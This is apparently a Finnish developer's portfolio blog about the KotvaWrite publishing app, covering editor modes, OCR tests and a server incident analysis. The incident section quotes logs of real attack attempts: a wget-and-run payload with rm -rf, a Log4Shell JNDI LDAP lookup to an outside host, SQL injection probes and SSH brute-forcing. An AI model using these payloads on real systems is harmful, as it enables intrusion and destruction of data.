Tekstiä on usein mukavampi kirjoittaa, kun aiempaa samaan kirjoitukseen kirjoitettua tekstiä on enemmän näkyvillä, sillä se vähentää muistikuormitusta. Yksi leveäksi ja pitkäksi venytetty tekstikenttä ei aina ole riittävän kätevä, joten kokeilun vuoksi on prototyypitetty paria erilaista tekstinkirjoitusmoodia.

Moodissa "sliced" kirjoitus pilkotaan automaattisesti useaan eri osaan niistä kohdin, missä on, valinnan mukaan, käytetty väliotsikon erottuvuutta lisäävänä keinona joko tekstin paksunnosta tai otsikon kokoa "Header 2". Tällainen tekstin pilkkominen visuaalisesti eri osiinsa voi olla hyödyllistä siinä vaiheessa, kun vasta valmistelee kirjoitusta ja haluaa pitää runsaassa määrin jo kirjoitettua tekstiä nopeasti esille silmäiltävästi esillä. Jos tekstiin on liitetty kuvia tai muita liitettävissä olevia, ne säilyvät muuttumattona, vaikkei niitä tässä moodissa asetellakaan esille sen osoittamiseksi, että ne ovat kirjoitukseen liitettynä. Ja liittäminenhän tarkoittaa siis eri asiaa kuin paikoilleen sijoittaminen ts. tässä näkymässä tehty kirjoituksen tallentaminen poistaa kirjoitukseen paikoilleen sijoitellut tietynlaiset, mutta jättää kirjoitukseen liitetyt tietynlaiset entisenlaiseksi.

Moodissa "spacious" yritetään emuloida vierekkäin ja allekkain aseteltuja sivuja käyttämällä monirivisiä, kooltaan muutettavia tekstikenttiä, joissa tekstiä juoksutetaan tekstiä kirjoittaessa automaattisesti niin moniin muihin tekstikenttiin kuin on tarpeen. Tekstikentältä toiselle pääsee myös näppäimistön nuolipainikkein. Jos tekstiin on liitetty kuvia tai muita liitettävissä olevia, ne säilyvät muuttumattona, vaikkei niitä tässä moodissa asetellakaan esille sen osoittamiseksi, että ne ovat kirjoitukseen liitettynä.

Huomioitavaa.. spacious-moodissa rajoituksena on ainakin toistaiseksi, että kirjasimena täytyy käyttää tasalevyistä sellaista, eikä tekstissä voi olla muotoiluja tai kuvia. Tekstiä ei myöskään voi kopioida näppärästi hiirellä siten, että ottaisi kerralla kopioitavaksi useammassa kuin yhdessä tekstikentässä olevaa sisältöä. Ensimmäisen tekstikentän alakulmassa on kokosäädin, jolla voi säätää kaikkien tekstikenttien kokoa esim. sellaisiksi, että tekstikenttinä on kaksi leveää ja korkeaa sellaista vierekkäin, kolme pitkulaista vierekkäin tai pienikokokoisia tekstikenttiä ruudukkomaisesti rivitettynä. Ylimääräiset tekstikentät poistetaan automaattisesti tai jos niitä tarvitaan lisää tekstin mahduttamiseksi, niitä lisätään. Selainikkunan koon säätämisellä saadaan lisää säätömahdollisuutta sille, kuinka monta tekstikenttää voidaan mahduttaa vierekkäin. Yhdelle riville mahtumattomat aloittavat uuden rivillisen tekstikenttiä.

Spacious-moodissa on mahdollisuus siirrättää tekstikappaleita eteen- tai taaksepäin sijoittamalla kursori jonkin tekstikappaleen kohdalle ja painamalla Ctrl-näppäimen kanssa nuolinäppäimillä ylös- tai alaspäin. Siirtyvä tekstikappale vaihtaa tällöin paikkaa viereisen kanssa. Tämä toiminto vahvistaa tuntumaa siitä, että teksti on yhtenäistä, sillä tekstikappale siirtyy tekstikenttien välillä siinä missä tekstikentän puitteissakin.

Vaikka avoinna olevaan kirjoitukseen voi liitellä kuva-tietynlaisia drag'n'droppaamalla niitä tietynlaisten selaus -näkymästä, voi eräänlainen "kompaktisuus", jonka näkymiä "tietynlaisten selaus" ja "tekstin editointi" yhdistävä näkymä tarjoaa, olla paremman tuntuinen, sillä pelkkä katseellakin siirtyminen kahden eri näkymän välillä on mentaalisesti hienoista uudelleenorientoitumista tjs. vaativaa.

Kaiken hetken aikaa käytettävän ollessa samassa näkymässä ei tällaista "ylimääräistä haahuilua" tarvita. Kirjoitusten editointi toimii täsmälleen samoin kuin varsinaisessa "tekstin editointi"-näkymässä sillä erotuksella, että vain kuva-tietynlaisia voi lisäillä ja niitä vasemmanpuoleisesta listasta drag'n'droppaamalla. Kuten "tietynlaisten selaus"-näkymässäkin, kuva-tietynlaisia voi katsella isokokoisena (klikkaamalla kuvaa) ja uudelleenrajata avautuvassa modaali-ikkunassa (klikkammalla kuvaa Ctrl-näppäin painettuna). Ja jos kuvia olisi niin paljon, ettei alimmaisia katsellessa kirjoituksen writingparticulars-listaa enää edes näkyisi, voi katalogin kuvia lisäillä sinne myös siten, että klikkaa kuvaa Alt-näppäin pohjaan painettuna.

Kirjoituksien kokoelmat kirjoituksineen ja erikoissivut eivät ole ainoita asioita, joita teoksen etusivulle voi laittaa näkymään. Sideshow:ksi nimitetty ominaisuus mahdollistaa sijoittamaan edellä mainittujen vierelle eräänlaisen tietopaneelin, jonka toimivuutta on valmisteltu sen verran, että käyttäjä voi itse määrittää, mitä tähän tietopaneeliin näkyville asettuu. Vaihtoehtoja olisi esim. jonkinlaisista raporteista ja tilastoista viimeisimpiä uutisia näyttävyyksiin. Tietoa voidaan hakea ulkoisista tietolähteistä tai julkaisusovelluksen tietokannasta, minkä jälkeen tieto voidaan esittää ennalta päätettyjen tyylittelyjen kanssa.

Kuva 1. Käskytetty hakemaan viimeisempiä uutisia kahdesta eri API-palvelusta.
Kuva 2. Sideshow teoksen etusivulla, joka käyttää "Out of ink"-sisältölistaustyyppiä.
Kuva 3. Sideshow teoksen etusivulla, joka käyttää "Plain structure"-sisältölistaustyyppiä.

Kun kuvia on paljon, eikä ehkä ole aivan varma, mitä niiden kanssa tekisi, ideoita voi alkaa muodostumaan asetellessa niitä jonkinlaisiin ryhmäntuntuisiin tai antaa ideoiden tulla siinä samalla, kun ihan vain siirtelee niitä jollakin luontevalta tuntuvalla tavalla toisistaan erilleen. Eräänä kokeiluna on tehty sellainen selausnäkymä, jossa kuva-tyyppiset tietynlaiset latautuvat ensin tavanomaisesti ruudukkoon aseteltuna, minkä jälkeen niitä voi alkaa siirtelemään näkymässä ilman erityisempiä siirtymää rajoittavuutta. Isokokoinen tablet-laite tai muu kosketusnäyttöinen päätelaite stylus-kynällä tulee tässä erittäin käteväksi, sillä käden liikeradat voivat tuolloin olla paljon vähäisempiä kuin hiirtä käytettäessä.

Kosketusnäyttöistä päätelaitetta varten tähän näkymään voisi toteuttaa mahdollisuuden tarrata kuvaan kahdella sormella ja kiertää kuvaa samalla, kun kenties myös muuttaa sen kokoa. Tällaiset saattavat kuitenkin olla vähän liikaa "kikkailua" ilman suurempaa hyötyä, joten pelkkä siirtely täydennettynä mahdollisuutena valita useita kerrallaan, jos vaikka haluaisi vaihtaa kuvien kuvasäilöä, saattavat olla mihin lopulta päädytään käytettäväksi tulevan toiminnallisuuden osalta.

Sillä saattaa olla pidemmät perinteet ja sitä varten ei ehkä kestäne kehitellä soveltuvia algoritmeja niin kauan, että tunnistetaan automaattisesti, mitä tekstejä kuvamuotoiseen tekstipohjaiseen aineistoon sisältyy kuin mitä on löydettävissä valokuvista. Tässä on esitelty huomioita liittyen a) tekstintunnistukseen kuvaskannauksista käyttäen ABBYY Cloud OCR SDK:ta, joka toimii niin luotettavan oloisesti kaikkiin lähinnä tekstiä sisältäviin kuviin, että se on jo otettu ns. production-käyttöön ("particular browsing"-näkymässä, kun tarkastelussa kuvan "large preview" -modaali-ikkunassa), sekä b) tekstintunnistukseen valokuvista käyttäen Cloudinaryn OCR-lisäosaa, joka itseasiassa käyttää suoraan Googlen Vision API:a. Sen tunnistamiset ovat toisinaan laatua "sehän onnistui hyvin", mutta usein pikemminkin "ei jukolaut, tämähän on ihan huono".

Tekstintunnistus tekstiä sisältävistä skannauksista

ABBYY:n tekstintunnistamisesta ei oikeastaan ole muuta kuin hyvää sanottavaa, sillä kaikki kuvaskannaukset (ja myös esim. screenshotit verkkosivuista), mitä sillä kokeili, tuottivat kelpo tuloksia. Sille ei voine paljoakaan, että tekstintunnistus tuottaa ylimääräisiä kirjainmerkkisiä artefakteja (eng. "anomalies apparent during visual representation"), mutta tätä pidettäköön hyväksyttävänä. Tekstintunnistukselle voi antaa parametreinä, minkä kielisiä tekstejä kuvasta pyritään etsimään.

444 VIL THE MECHANISM OF TIME-BINDING of it can be found by analysis practically everywhere. Our problem is to analyse the general case. Let us follow up roughly the process. We assume, for instance, an hypothetical case of an ideal observer who observes correctly and gives an impersonal, unbiased account of what he has observed. Let us assume that the happenings he has observed appeared as: O, and then a new happening ( occurred. At this level of observation, no speaking can be done, and, therefore, I use various fanciful symbols, and not words. The observer then gives a description of the above happenings, let us say a, b, c, d, . . . , x; then he makes an inference from these descriptions and reaches a con- clusion or forms a judgement A about these facts. Wc assume that facts unknown to him, which always exist, are not important in this case. Let us assume, also, that his conclusion seems correct and that the action A" which this conclusion motivates is appropriate. Obviously, we deal with at least three different levels of abstractions: the seen, experienced ., lower order abstractions (un-spcakable) ; then the descriptive level, and, finally, the inferential levels. Let us assume now another individual, Smiths ignorant of struc- ture or the orders of abstractions, of consciousness of abstracting, of s.r.; a politician or a preacher, let us say, a person who habitually iden- tifies, confuses his orders, uses inferential language for descriptions, and rather makes a business out of it. Let us assume that Smith, observes the 'same happenings’. He would witness the happenings O, |, ..... and the happening would appear new to him. The happenings O, be would describe in the form a, b, c, d, . . . , from which fewer descriptions he would form a judgement, reach a conclu- sion, B; which means that he would pass to another order of abstrac- tions. When the new happening occurs, he handles it with an already formed opinion B, and so his description of the happening ( is coloured by his older s.r and no longer the x of the ideal observer, but B(x) --- y. His description of ‘facts’ would not appear as the a, b, c, d, . . . , x, of the ideal observer but a, b, c, d,..., B(x) = y. Next he would abstract on a higher level, form a new judgement, about ‘facts’ a, b, c, d, . . . , B(x) =y, let us say, C. We see how the semantic error was produced. The happenings appeared the ‘same’, yet the unconscious identification of levels brought finally an entirely different conclusion to motivate a quite different action, A diagram will make this structurally clearer, as it is very difficult to explain this by words alone. On the Structural Differential it is shown without difficulty.

HIGHER ORDER ABSTRACTIONS 445 Seen happenings (un- IDEAL OBSERVER SMITH] speakable) (First order abstrac- tions) ............. Ik-5 .X Description III! I I I! I ( Second order abstrac- tions) ............. a, b, c, d, ... x a, b, c, d,... B(x)=y Inferences, conclusions, iqB and what not. I (Third order abstrac- tions) ............. A c Creeds and other se- I I mantic reactions.... A' c I Action A9 e Let us illustrate the foregoing with two clinical examples. In one case, a young boy persistently did not get up in the morning. In another case, a boy persistently took money from his mother’s pocketbook. In both cases, the actions were undesirable. In both cases, the parents unconsciously identified the levels, x was identified with B(x), and con- fused their orders of abstractions. In the first case, they concluded that the boy was lazy; in the second, that the boy was a thief. The parents, through semantic identification, read these inferences into every new ‘description’ of forthcoming facts, so that the parents’ new ‘facts’ became more and more semantically distorted and coloured in evaluation, and their actions more and more detrimental to all concerned. The general conditions in both families became continually worse, until the reading of inferences into descriptions by the ignorant parents produced a semantic background in the boys of driving them to murderous intents. A psychiatrist dealt with the problem as shown in the diagram of the ideal observer. The net result was that the one boy was not ‘lazy’, nor the other a ‘thief’, but that both were ill. After medical attention, of which the first step was to clarify the symbolic semantic situation, though not in such a general way as given here, all went smoothly. Two families were saved from crime and wreck. I may give another example out of a long list which it is unnecessary for our purpose to analyse, because as soon as the ‘consciousness of abstracting’ is acquired, the avoidance of these inherent semantic dif- ficulties becomes automatic. In a common fallacy of 'Petitio

Tekstintunnistus valokuvista

Kukaan ei pidä siitä, että menneisyydessä kenties hyvinkin merkittäviä sijainteja tuodaan valokuvitse näytille netin kaupunkikohtaisessa keskusteluryhmässä ihmisiä sillä tapaa yllättävästi, etteivät he ehdi suhteuttamaan tuntumaansa nykyhetkestä ja muistojaan menneisyydestä tavallaan tunkeileviin valokuviin, joiden sisältö ja herättelemät tuntemukset eivät ehkä ollenkaan täsmää havainnoijaan persoonana. Sen sijaan selityksissä, jossa pääpaino ei ole ollenkaan sijainneissa tai ajallisuudessa, vaste ei todennäköisesti ole niin vastentahtoinen. Täten, näitä pari vuosikymmentä sitten otettua valokuvaa voinee hyvinkin käyttää esittelemään tekstintunnistuksen onnistumista valokuviin kohdistettuna.

Kävipä kuitenkin niin, että käyttökelpoisuus tekstintunnistamiseen valokuvista aiheutti tuntuman, että tekstintunnistamiseen tarvitaan erikseen jonkin tekoälyn harjoituttamisesta algoritmeineen ja malleineen. Tässä on käytetty Cloudinaryn OCR-lisäosaa, joka käyttää varsinaisesti Googlen Vision API:a, eikä sille sen dokumentaation mukaan voi antaa kummoisempia parametrejä tekstintunnistamisen ohjaamiseksi, jos tekstit koostuvat pelkästään latinalaisista aakkosista eli analyysin tulokset ovat parasta, mitä on saatavilla. Alkuperäiset, analyysissä käytetyt kuvat ovat kooltaan 2015 x 1512 pikseliä. Googlen Vision API palauttaa analyysin tuloksena myös tiedot siitä, mistä kohdin kuvaa mikäkin teksti on löytynyt, mitä Cloudinary hyödyntää korostaakseen kuvista automaattisesti ne kohdat, missä tekstiä analyysin perusteella esiintyy. Cloudinaryn kanssa on käyty neuvotteluja siitä, voisiko tämän julkaisusovelluksen käyttäjälle saada erikoishinnoittelun OCR-toiminnallisuutta varten (saatavilla erikseen pyydettäessä).

BAR & CAFE,
HELIOS,
PI,
KAUPPAKESKO,
Tukip,
Billy JOKA PAIVA,
SELES,
PUB,

Manuaaliset kuormitustestit mukaan lukien KotvaWrite Stories kestää hyvin tavallista käyttöä ja vain yhdelläkin palvelimella toimiessaan sen voisi aivan hyvin jättää vaikka kuukaudeksi ilman erityisempää seurantaa, jos samanaikaiset käyttäjämäärät eivät ole aivan mahdottoman suuria. Tälle olettamukselle voivat aiheuttaa poikkeusta mystiset tapaukset, joiden yhteydessä virtuaalisen palvelimen (Linux) muistin ja levyn käyttö kasvavat hetkellisesti moninkertaiseksi, mikä sitten ns. kaataa sovelluspalvelimen, johon julkaisusovellus on asennettuna. Seuraukset eivät välttämättä ole kovinkaan kriittiset, sillä mahdollisesti kesken jääneet tallennukset tietokantaan ja tiedostoihin saa/saisi korjattua ja siistittyä semiautomaattisesti, minkä jälkeen riittää sovelluspalvelimen uudelleen käynnistäminen. Toisaalta, jos asiaan liittyy runsasta hakkerointikokeiluja, voivat jotkin käyttöjärjestelmätason resurssit olla lopuillaan kuten auki olevien tiedostojen määrä (eng. "files that are currently being reviewed or modified").

Käydessä silmäillen läpi käytössä olevan Linux-käyttöjärjestelmän ytimen logitiedostoa, voi sieltä tehdä huomiona, että muisti on päässyt totaalisesti loppumaan Java-prosessilta esim. 15.10.2022, 18.8.2022 ja 5.8.2022:

[Sat Oct 15 23:42:37 2022] Out of memory: Killed process 1295081 (java)

[Thu Aug 18 11:45:30 2022] Out of memory: Killed process 272984 (java)

[Fri Aug 5 06:11:36 2022] Out of memory: Killed process 4157049 (java)

Jos vähän tarkempia ollaan, sovelluspalvelin, johon julkaisusovellus on asennettuna, on itse asiassa Java servlet container, jota ajetaan Java-virtuaalikoneessa (Java Virtual Machine, JVM) ja tähän liittyvälle Java-prosessille on konfiguroitavissa, missä rajoissa sen sallitaan käyttävän muistia. Monien kuormitustestien perusteella tietyt konfiguroinnit muistinkäyttöön liittyen ovat erittäin riittäviä - kunnes eivät sitten jostain syystä olekaan.

Linux-käyttöjärjestelmään, josta julkaisusovellus asennettuna löytyy, on erikseen asennettuna kaksi APM-agenttia (Application Performance Monitoring), jotka keräävät reaaliajassa monenlaista tietoa esim. käyttöjärjestelmän ja julkaisusovelluksen toiminnasta, mitä voi sitten tarkastella lukuisin eri tavoin APM-palveluiden webkäyttöliittymissä (käytössä saattaa olla esim. New Relic ja Datadog). Näihin muistin loppuminen -tapauksiin liittyen on aina käynyt selville yhtä ja samaa eli nettiliikenteen määrä ei ole ollut merkittävänä tekijänä sellaisella hetkellä, jolloin virtuaaliprosessin käyttö on moninkertaistanut esim. 20-kertaiseksi ja levyä käytetään ihmeelliseen runsaasti lyhyen ajan puitteissa. Tuollaisina hetkinä ei olekaan ollut mikään ihme, että julkaisusovelluksen toiminta esim. tietokantakyselyiden osalta vie aikaa normaalien millisekuntien sijaan yli kymmenen sekuntia.

Lisäksi käytössä on myös mm. Papertrail-palvelu, johon voi uudelleenohjata logittumaan logitietoa useista eri lähteistä kuten sovelluspalvelimelta ja käyttöjärjestelmältä, jolloin logitietoja ei tarvitse käydä lueskelemaan Linuxissa komentotulkin käytön tasolla, vaan niitäkin voi tarkastella yhdenlaisen webkäyttöliittymän kautta. Sieltä on selvinnyt mm. sellaista, että joku tai jotkut wannabe-hakkerit tms. ovat tehneet paljon jonkinlaista kähmäistä kokeilua päästäkseen käyttöjärjestelmän, sovelluspalvelimen tai julkaisusovelluksen suojauksista läpi. Tällaista on jatkunut koko vuoden 2022, mutta siinä ei ole kertaakaan ollut pyrkimystä aiheuttaa DDoS-hyökkäyksiä (Distributed Denial of Service) eli palvelun toiminnan estämistä, vaan kyse on ollut esim. hitaasta käyttäjätunnuksien ja salasanojen kokeiluista levittäytyneenä pitkälle ajanjaksolle, jolloin esim. per minuutti kokeiluja ei kuin muutaman kymmentä. Siis joka minuutti, joka tunti, joka päivä ja joka kuukausi. Eikö vain voisi tehdä kerralla jotain oikein?

Muistin loppumisen ajoittumisen syyn päättelemisen kannalta voisi olla mahdollista nähdä yhteyttä hakkerointikokeilujen ajoittumiselle sekunteja ennen muistin loppumista, mutta koska kyse on ollut virtuaalisen palvelimen käyttämisestä dedikoidun sellaisen sijaan eli samoja fyysisiä laiteresursseja käyttää enemmän kuin yksi datakeskuksen asiakas ja joskus laitteet voivat myös vioittua, voisi syynä olla myös jostain muusta kuin mitä voi tarkastella käytettävissä olevista logeista ja visualisoitua tietoa näyttävistä kojelaudoista. Erikseen tätä datakeskus-palveluntarjoajalta kysyttäessä vastaus oli kuitenkin kieltävä eli tapahtuma-aikaan ei sen mukaan ollut mitään mainittavaa poikkeavuutta.

Normaalisti eli siis ihan aina Hetznerin virtuaalipalvelinta käytettäessä yksi kappale CPX21-virtuaalipalvelinta, jossa on 4 GB muistia ja 3 siivua prosessoriaikaa, on ollut täysin riittävä "peruskäyttöön", mutta on muistin loppumiselle ja muille erityisen poikkeaville ongelmille muitakin selityksiä kuin jo mainitut. On esim. sovelluspalvelimen olemista versioltaan uusinta paljon jäljessä ja sama pätee myös Javaan, jota serveripuolella ohjelmointikielenä käytetään. Sillekin on erilliset parametrisäätönsä, millä perustein sovelluspalvelin ja Java siistivät muistista pois sellaista, mille ei enää ole käyttöä, mutta ne jätetään usein vakioasetuksiinsa. Kaikki tämä on sinänsä ihan hallittavissa olevaa, mutta voi vaatia pitkäaikaista seurantaa ja testailua, että rajatapaukset saadaan esille.

Loppuosa tästä kirjoituksesta sisältää huomioita erään muistin loppumis -tapauksen jäljiltä. Ja jos tässä voi lähettää terveisiä julkaisusovelluksen ylläpitäjälle, mainittakoon, että sen verran voisi tehdä lisäkonfigurointia, etteivät IP-osoitteet näkyisi 127.0.0.1-tyyppisinä sovelluspalvelimen logeissa, vaan alkuperäisinä IP-osoitteina. Tosin, olikohan General Data Protection Regulationilla (GDPR) jotain sanottavaa tähän?

Runsaasti sisäänkirjautumisyrityksiä logitiedossa /var/log/messages:

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Invalid user ktx from 5.51.84.107 port 55716

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Received disconnect from 5.51.84.107 port 55716:11: Bye Bye [preauth]

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Disconnected from invalid user ktx 5.51.84.107 port 55716 [preauth]

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Invalid user postgres from 195.88.87.19 port 53396

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Received disconnect from 195.88.87.19 port 53396:11: Bye Bye [preauth]

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Disconnected from invalid user postgres 195.88.87.19 port 53396 [preauth]

Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Invalid user Test from 179.60.147.99 port 37284

Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Connection closed by invalid user Test 179.60.147.99 port 37284 [preauth]

Oct 15 23:13:34 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Invalid user support from 193.106.191.50 port 49598

Oct 15 23:13:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Connection closed by invalid user support 193.106.191.50 port 49598 [preauth]

Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Invalid user Test from 179.60.147.99 port 55870

Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Connection closed by invalid user Test 179.60.147.99 port 55870 [preauth]

Oct 15 23:39:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2491284]: Received disconnect from 92.255.85.69 port 26930:11: Bye Bye [preauth]

Muutamia epäilyttäviä logirivejä siellä täällä sovelluspalvelimen logitiedostoa localhost_access_log:

127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "POST /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "GET /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST / HTTP/1.1" 200 13720

127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:21:47 +0200] "GET /view.jsp?solutionid=539'A=0&writingid=12501 HTTP/1.1" 200 13477

127.0.0.1 - - [15/Oct/2022:23:21:52 +0200] "GET /view.jsp?solutionid=539&writingid=12501'A=0 HTTP/1.1" 200 15507

Muutama sata variaatiota pääsyn saamiseksi asentamattomaan webkäyttöliittymään:

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 782

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 783

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 778

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 772

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 784

Pääsyoikeuden saamisen yrittämistä parametreja näpräämällä ja osoitteita arvailemalla:

127.0.0.1 - - [15/Oct/2022:16:18:21 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756

127.0.0.1 - - [15/Oct/2022:16:18:25 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756

127.0.0.1 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.pl HTTP/1.1" 404 759

195.96.137.4 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.jsa HTTP/1.1" 404 760

127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /linusadmin-phpinfo.php HTTP/1.1" 404 773

127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /infos.php HTTP/1.1" 404 760

127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 404 790

127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 791

82.99.217.202 - - [15/Oct/2022:07:52:03 +0200] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FY3D HTTP/1.1" 200 13720

127.0.0.1 - - [15/Oct/2022:01:29:44 +0200] "POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1" 404 787

Sovelluspalvelimen toisessa logissa (catalina) on toisinaan kuviteltujen heikkouksien kokeilua:

14-Oct-2022 04:01:50.622 INFO [http-nio2-8080-exec-21] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header

 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

       java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0x01;0x993Z0x15e}0x005/0x050x010x00...]. HTTP method names must be tokens

15-Oct-2022 14:21:12.637 INFO [http-nio2-8080-exec-6] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header

 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

   java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0xe40x920x88{#{*<0xc80xec0xfc}l0x820x85\0xcc0x1a0xc0/0x0050xc00x000x00...]. HTTP method names must be tokens

Taitto-ohjelma InDesign on mahdollistanut jo pitkän aikaa kaiken sen toiminnallisuuden kontrolloinnin ExtendScriptillä, joten tovi InDesignin ohjelmistorajapintaan tutustumisen jälkeen kävi selväksi, että sillähän tosiaan voi tehdä sen, mistä jo aiemmin visioi ja mikä ei ollut riittävän näppärää LaTeX-ladontajärjestelmällä. KotvaWrite Stories -projektin varmuuskopio (zip-paketti) sisältää kaiken oleellisen kirjoituksen InDesign-version luomiseen ja käytännössä ei tarvitsekaan kuin käynnistää InDesignissa yksi skripti, joka kysäisee ensin mistä hakemistosta oleelliset tiedostot löytyvät ja sitten se generoi teoksen toisenlaisen olomuodon saatavilla olevan aineiston ja tyylimäärittelyjen perusteella.

Kuva 1. Aukeama InDesign -taitto-ohjelmassa.
Kuva 2. Kokonainen, alunperin verkossa julkaistavaksi tarkoitettu esimerkkijulkaisu automaattisesti InDesignissa luotuna.

KotvaWrite Stories ja KotvaWrite Explanations (2017)

Olennaisin tavoite KotvaWritessa on ollut se, että lukuisia kirjallisten teosten asettelukokeiluja ja säätöjä pystyisi tekemään useita siinä määrin lyhyessä ajassa, että odottavan aika ei tuntuisi pitkältä ja että mielekkäisiin vaihtoehtoisiin päädyttäisiin vaivattoman tuntuisesti. Käytetty ladontajärjestelmä (XeTeX) ei kuitenkaan pysy mukana niin nopeassa tahdissa, mikä ohjasi merkittävästi tuotekehitystä sillä tapaa, että päädyttiin jakautumaan kahteen eri tuotelinjaan, joista toinen (KotvaWrite Stories) tuottaa HTML-pohjaisia teoksia monipuolisemmin tyylikeinoin ja toinen (KotvaWrite Explanations) tuottaa sekä PDF-, että HTML-pohjaisia teoksia, mutta aiempaa hieman rajatummin asettelu- ja säätökeinoin.

JDK 1.8, JPA, REST, EclipseLink, Eclipse, Visual Paradigm for UML, Foundation, Backgrid, Backbone, Underscore.js, SASS, jQuery, HTML5, CSS 2.1/3, MySQL, MariaDB, MongoDB, JavaScript, NoSQL, JNDI, Tomcat 8, Digital Ocean, Putty, Linux command line tools, TeX, LaTeX, XeLaTeX, Loadster, NeoLoad, New Relic, Datadog, Nginx, HAProxy, Parse API, UML, Git, JUnit, Photoshop, MySQL Workbench

Prosessi yhden kirjoituksen esikatselusivujen generoimiseksi

Java-pohjainen sovellus generoi .tex-tiedoston, josta se tuottaa xelatex.exeä tai pdflatex.exeä käyttäen .pdf-tiedoston, jonka sisältöön ja rakenteeseen vaikuttavat web-käyttöliittymässä tehdyt säädöt, annettu teksti ja melko harkitsemattomiin kohtiin sijoitetut kuvat. XeTex-ladontajärjestelmä laskee mahtuvuudet, sekä latoo tekstit ja kuvat. Toisinaan sen täytyy antaa tehdä laskelmiaan kahden kierroksen verran. Apache PDFBoxia käytetään luomaan yksittäisistä sivuista esikatselukuvat web-käyttöliittymässä tarkastelua varten.

KotvaWrite 2

Edelleen kyse verkkosovelluksesta, joka jämäköittää kirjamaisien, verkossa luettavien teoksien tuotantoprosessia. Palvelu koostuu neljästä osiosta, joissa voi ajatella tehtävän seuraavia asioita:

  • Teksteissä käytettävän aineiston sisääntuontia eri lähteistä.
  • Aineiston ja kirjoituksien järjestelyä.
  • Tekstin luominen ja editointi, kokonaisen kirjamaisesti jäsennellyn teoksen generointi asetteluun, tyylittelyyn ja esillepanoon vaikuttavien parametrien perusteella.

Edelliseen versioon nähden merkittävin uudistus on tapahtunut käyttöliittymätasolla, joka on laitettu kokonaan uusiksi. Sovelluksen suunnittelussa on hyödynnetty mukautuvaa verkkosuunnittelua (eng. responsive design) sen parantaessa olennaisesti käyttökokemusta. Sittemmin mukaan on tullut jonkin verran lisäominaisuuksia (mm. automatisoidusti generoituva PDF-tiedosto ja HTML-version tulostusversiota on hienosäädetty).

Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Foundation, Backgrid, Backbone, SASS, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, iText, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench

KotvaWrite v1.0

KotvaWrite on hyödyllinen verkkopalvelu sellaisen tekstipohjaisen aineksen luomiseen ja editoimiseen, joka jolla on kirjamainen rakenne (käytännössä useita kirjoituksia sijoitettuna kokoelmiin, jotka voidaan yhdistää isommaksi kokonaisuudeksi) ja jonka voi exportata PDF-tiedostoksi tai antaa sen olla muiden luettavissa HTML-muotoisena. Tekstin joukkoon on mahdollista sijoittaa kuvia, kuvituksia, piirroksia ja tiettyjä muunlaisia "liitteitä", joita on usein nähtävissä blogiviesteissä.

Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench

Ancoaarmade (KotvaWriten edeltäjä)

